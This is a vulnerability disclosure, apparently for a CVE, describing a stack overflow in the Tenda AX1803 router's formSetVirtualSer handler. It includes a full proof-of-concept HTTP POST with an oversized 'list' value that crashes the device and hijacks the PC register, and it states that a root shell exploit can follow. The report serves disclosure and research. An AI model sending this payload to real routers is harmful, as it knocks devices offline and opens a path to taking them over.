- Manufacturer's website information：https://www.tenda.com.cn
- Firmware download address ： https://www.tenda.com.cn/download/detail-3421.html
Tenda AX1803 V1.0.0.1, the latest version of simulation overview：
The Tenda AX1803 (V1.0.0.1) was found to have a stack overflow vulnerability in the formSetVirtualSer function. An attacker can obtain a stable root shell through a carefully constructed payload.
In the formSetVirtualSer function, v2 (the value of list) we entered will be passed into the sub_89D3C function as a parameter, and this function has stack overflow.
In the sub_89D3C function,the a2 (the value of list) is formatted using the _isoc99_sscanf function and in the form of %[^,]%*c%[^,]%*c%[^,]%*c%s. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of s、 v12 、v13 or v14, it will cause a stack overflow.
In order to reproduce the vulnerability, the following steps can be followed:
- Boot the firmware by qemu-system or other ways (real machine)
- Attack with the following POC attacks
POST /goform/SetVirtualServerCfg HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 336
Origin: http://192.168.0.1
DNT: 1
Connection: close
Referer: http://192.168.0.1/index.html
Cookie: ecos_pw=eee:language=cn
list=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,b,c,d~
By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .
As shown in the figure above, we can hijack PC registers.
Finally, you also can write exp to get a stable root shell.